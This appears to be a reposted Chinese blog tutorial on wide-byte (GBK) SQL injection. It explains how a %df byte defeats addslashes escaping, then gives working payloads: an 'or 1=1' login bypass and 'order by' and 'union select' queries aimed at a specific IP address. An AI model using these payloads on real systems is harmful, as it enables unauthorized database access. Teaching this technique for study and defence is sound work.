宽字节注入

Posted 可我浪费着我寒冷的年华

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了宽字节注入相关的知识,希望对你有一定的参考价值。

/*珍惜少年时博客 转载请注明出处。*/

 51cto关于宽字节介绍很好的一篇文章:http://www.2cto.com/article/201209/153283.html

关于宽字节注入的PPT:宽字节注入.PPT

测试代码及数据库出处(http://www.cnblogs.com/lcamry/articles/5625276.html):

http://files.cnblogs.com/files/xishaonian/%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%BA%93.zip

宽字节注入原理

  GBK 占用两字节

  ASCII占用一字节

  PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

  输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

  %DF’ :会被php当中的addslashes函数转义为“%DF\\\'” ,“\\”既URL里的“%5C”,那么也就是说,“%DF\'”会被转成“%DF%5C%27”倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为%DF%5C%27”是一个宽字符。也就是“

例如:http://www.xxx.com/login.php?user=%df’ or 1=1 limit 1,1%23&pass=

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

 

以下是一次实例宽字节注入:

注入点:http://103.238.227.13:10083/index.php?id=1

提交 %bf’ 出现错误,由此可见存在宽字节注入。

http://103.238.227.13:10083/index.php?id=1%df\' order by 2%23
======>推出有两个字段数
将中间段换做注入语句即可。

  

然后再将sql修改

http://103.238.227.13:10083/index.php?id=-10%df\' union select 1,databases()%23 
.....
 
 
THE END

以上是关于宽字节注入的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试-SQL注入之宽字节注入

Sql 注入详解:宽字节注入+二次注入

浅谈对宽字节注入的认识

宽字节注入 Less32-Less33

宽字节注入

宽字节注入